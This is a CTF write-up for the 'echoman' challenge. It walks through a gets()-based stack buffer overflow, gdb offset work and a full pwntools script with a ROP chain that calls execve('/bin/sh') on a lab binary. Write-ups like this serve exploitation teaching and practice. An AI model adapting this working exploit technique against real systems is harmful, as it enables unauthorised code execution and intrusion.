ynotctf19 write-up: echoman

This is a write-up for the echoman pwn of Ynotctf CTF at BlackAlps. The provided binary can be found here.

The program

The binary is a simple echo server. Here the string TEST is entered:

$ ./echoman
Hi my name is Echoman
Let me echo something for you !
TEST
Here iiit iiiis: TEST

The binary's protections:

> checksec
Canary                        : Yes
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Partial

The vulnerabilities

Using Ghidra one gets quickly an overview of the vulnerability in the echoman function:

void echoman(void)
{
  char buf [128];

  puts("Let me echo something for you !");
  gets(buf);
  printf("Here iiit iiiis: %s",buf);
  return;
}

We can overflow the buf buffer and take control of the program.

Using gdb, one can see how much we need to write in order to reach saved rip.

> disas echoman
Dump of assembler code for function echoman:
   0x0000000000401d38 <+0>: push   rbp
   0x0000000000401d39 <+1>: mov    rbp,rsp
   0x0000000000401d3c <+4>: add    rsp,0xffffffffffffff80
   0x0000000000401d40 <+8>: lea    rdi,[rip+0x7f2c1]        # 0x481008
   0x0000000000401d47 <+15>:    call   0x410550 <puts>
   0x0000000000401d4c <+20>:    lea    rax,[rbp-0x80]
   0x0000000000401d50 <+24>:    mov    rdi,rax
   0x0000000000401d53 <+27>:    mov    eax,0x0
   0x0000000000401d58 <+32>:    call   0x410260 <gets>
   0x0000000000401d5d <+37>:    lea    rax,[rbp-0x80]
   0x0000000000401d61 <+41>:    mov    rsi,rax
   0x0000000000401d64 <+44>:    lea    rdi,[rip+0x7f2bd]        # 0x481028
   0x0000000000401d6b <+51>:    mov    eax,0x0
   0x0000000000401d70 <+56>:    call   0x408fa0 <printf>
   0x0000000000401d75 <+61>:    nop
   0x0000000000401d76 <+62>:    leave
   0x0000000000401d77 <+63>:    ret
End of assembler dump.

So we need to push 128 bytes (0xffffffffffffff80 = -128) to overwrite the buffer, then 8 bytes to overwrite saved rbp (push rbp) and finally 8 bytes to overwrite saved rip and take control of the flow

$ python -c 'print("A"*128 + "B"*8 + "C"*8)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC

Generating that in Python and then feeding it to the program shows us in gdb that the saved rip is overwritten by Cs

> info frame
Stack level 0, frame at 0x7fffffffe340:
 rip = 0x401d75 in echoman; saved rip = 0x4343434343434343
 called by frame at 0x7fffffffe348
 Arglist at 0x7fffffffe330, args:
 Locals at 0x7fffffffe330, Previous frame's sp is 0x7fffffffe340
 Saved registers:
  rbp at 0x7fffffffe330, rip at 0x7fffffffe338

Exploit

So we simply need to overflow (128+8 bytes) and then write our ROP chain to exploit it.

Ropper was able to automatically generate a working ROP chain:

$ ropper -f echoman --chain execve

It is clearly nicer to build the ROP chain manually but due to time constraints ropper provided us a nice working solution.

Here's the complete pwntools script to exploit it:

#!/usr/bin/env python2

from pwn import *
from struct import *

context.arch='amd64'

binary = './echoman'
host = 'pwns.blackalps.lan'
port = 2004

#proc = remote(host, port)
proc = process(binary)
print('started ...')

query = 'Let me echo something for you !'
proc.recvuntil(query)

p = lambda x : pack('Q', x)

IMAGE_BASE_0 = 0x0000000000400000 # 2d2f5423e4ac9faa4d94827cb210852f4fc1505e432b58994704d6c2fe66b116
rebase_0 = lambda x : p(x + IMAGE_BASE_0)

rop = ''
rop += rebase_0(0x000000000000327d) # 0x000000000040327d: pop r13; ret;
rop += '//bin/sh'
rop += rebase_0(0x0000000000001f9b) # 0x0000000000401f9b: pop rbx; ret;
rop += rebase_0(0x00000000000aa0e0)
rop += rebase_0(0x000000000005c3a5) # 0x000000000045c3a5: mov qword ptr [rbx], r13; pop rbx; pop rbp; pop r12; pop r13; ret;
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += rebase_0(0x000000000000327d) # 0x000000000040327d: pop r13; ret;
rop += p(0x0000000000000000)
rop += rebase_0(0x0000000000001f9b) # 0x0000000000401f9b: pop rbx; ret;
rop += rebase_0(0x00000000000aa0e8)
rop += rebase_0(0x000000000005c3a5) # 0x000000000045c3a5: mov qword ptr [rbx], r13; pop rbx; pop rbp; pop r12; pop r13; ret;
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += rebase_0(0x000000000000182a) # 0x000000000040182a: pop rdi; ret;
rop += rebase_0(0x00000000000aa0e0)
rop += rebase_0(0x00000000000079be) # 0x00000000004079be: pop rsi; ret;
rop += rebase_0(0x00000000000aa0e8)
rop += rebase_0(0x00000000000722db) # 0x00000000004722db: pop rdx; pop rbx; ret;
rop += rebase_0(0x00000000000aa0e8)
rop += p(0xdeadbeefdeadbeef)
rop += rebase_0(0x0000000000046a20) # 0x0000000000446a20: pop rax; ret;
rop += p(0x000000000000003b)
rop += rebase_0(0x0000000000015244) # 0x0000000000415244: syscall; ret;

string = 'A'*128
string += 'B'*8
string += rop
proc.sendline(string)

# profit
proc.clean()
proc.interactive()